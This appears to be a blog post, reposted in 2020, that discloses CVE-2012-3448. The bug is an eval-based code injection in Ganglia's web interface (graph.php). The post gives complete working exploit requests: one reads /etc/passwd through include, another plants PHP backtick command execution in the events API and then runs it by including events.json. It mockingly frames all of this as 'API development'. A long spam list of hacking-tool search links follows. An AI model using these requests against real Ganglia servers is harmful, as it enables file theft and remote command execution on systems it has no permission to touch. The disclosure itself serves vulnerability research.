Saturday, August 29, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Related news


  1. Hacker Tools For Mac
  2. Hacker Hardware Tools
  3. Hack App
  4. Hack Tool Apk
  5. Nsa Hacker Tools
  6. Hacking Tools For Windows
  7. What Are Hacking Tools
  8. Hacking Tools Hardware
  9. Pentest Tools List
  10. Hacker Tools Apk Download
  11. Free Pentest Tools For Windows
  12. Hacker Tools Windows
  13. Hacker Tools Free Download
  14. Termux Hacking Tools 2019
  15. Hack Apps
  16. Termux Hacking Tools 2019
  17. Hacking Tools And Software
  18. Tools 4 Hack
  19. Hacker Tools For Mac
  20. Hacker Tools Online
  21. Install Pentest Tools Ubuntu
  22. Hacking Tools Pc
  23. Computer Hacker
  24. Pentest Tools For Android
  25. Pentest Tools Apk
  26. Pentest Box Tools Download
  27. Nsa Hack Tools Download
  28. Hacking Tools Usb
  29. Hacker Tools Free
  30. Hacking Tools Kit
  31. Hack Tools For Games
  32. Hack Tools For Windows
  33. Physical Pentest Tools
  34. How To Install Pentest Tools In Ubuntu
  35. Pentest Recon Tools
  36. Computer Hacker
  37. Hacking Tools Mac
  38. Hacker Tools For Windows
  39. Hack Apps
  40. Pentest Tools Website Vulnerability
  41. New Hacker Tools
  42. Hacking Tools Windows
  43. Underground Hacker Sites
  44. Hack Website Online Tool
  45. Hacking Tools Windows 10
  46. Hacker Tools Apk Download
  47. How To Hack
  48. Pentest Tools Bluekeep
  49. Hack Tools Download
  50. Hacking App
  51. Free Pentest Tools For Windows
  52. Pentest Tools
  53. Tools For Hacker
  54. Best Hacking Tools 2020
  55. Hacking Tools 2020
  56. Pentest Tools For Ubuntu
  57. Hack Website Online Tool
  58. Blackhat Hacker Tools
  59. Hack Website Online Tool
  60. Hacking Tools Windows 10
  61. Underground Hacker Sites
  62. Hacking Tools For Pc
  63. Pentest Tools Subdomain
  64. Hack Tools Github
  65. Hacker Tools Windows
  66. Hacking Tools For Mac
  67. Hacker Tool Kit
  68. Pentest Tools Url Fuzzer
  69. Hacker Tools Online
  70. Hacker Tools For Mac
  71. Hacker Tools Github
  72. Black Hat Hacker Tools
  73. Pentest Tools Download
  74. Pentest Tools Review
  75. Hacking Tools Free Download
  76. Hacker Tools 2020
  77. Hack Tools
  78. Hacking Tools
  79. Pentest Automation Tools
  80. Hacking App
  81. Install Pentest Tools Ubuntu
  82. Pentest Tools Apk
  83. Hack Tools Online
  84. Pentest Tools Github
  85. Github Hacking Tools
  86. Hack Tools Mac
  87. Hacker Tools For Ios
  88. Pentest Tools Bluekeep
  89. Hack Apps
  90. Wifi Hacker Tools For Windows
  91. Pentest Tools Framework
  92. Hacking Tools
  93. Hackrf Tools
  94. Hacker Hardware Tools
  95. Nsa Hack Tools
  96. Hack App
  97. Hacking Tools For Windows
  98. Pentest Tools For Ubuntu
  99. Pentest Tools
  100. Hacker Tools Linux
  101. Pentest Reporting Tools
  102. Hacker Tools Free
  103. Hacker Tools For Windows
  104. Hack Tools For Mac
  105. Hack And Tools
  106. Hack Tools Download
  107. Best Hacking Tools 2020
  108. Hacking Tools Hardware
  109. Hacking Tools Online
  110. Hack Tools Github
  111. Pentest Tools Online
  112. Bluetooth Hacking Tools Kali
  113. Hacking Tools For Beginners
  114. Pentest Tools Tcp Port Scanner
  115. Android Hack Tools Github
  116. Hacking Tools Online
  117. Best Hacking Tools 2019
  118. Hacker
  119. Hack Apps
  120. Hack App
  121. Best Pentesting Tools 2018
  122. Pentest Tools For Mac
  123. Pentest Tools For Ubuntu
  124. Pentest Tools Framework
  125. Pentest Tools Alternative
  126. What Is Hacking Tools
  127. Hack Tools For Games
  128. Pentest Tools Linux
  129. Hacking Tools Windows
  130. Tools For Hacker

No comments:

Post a Comment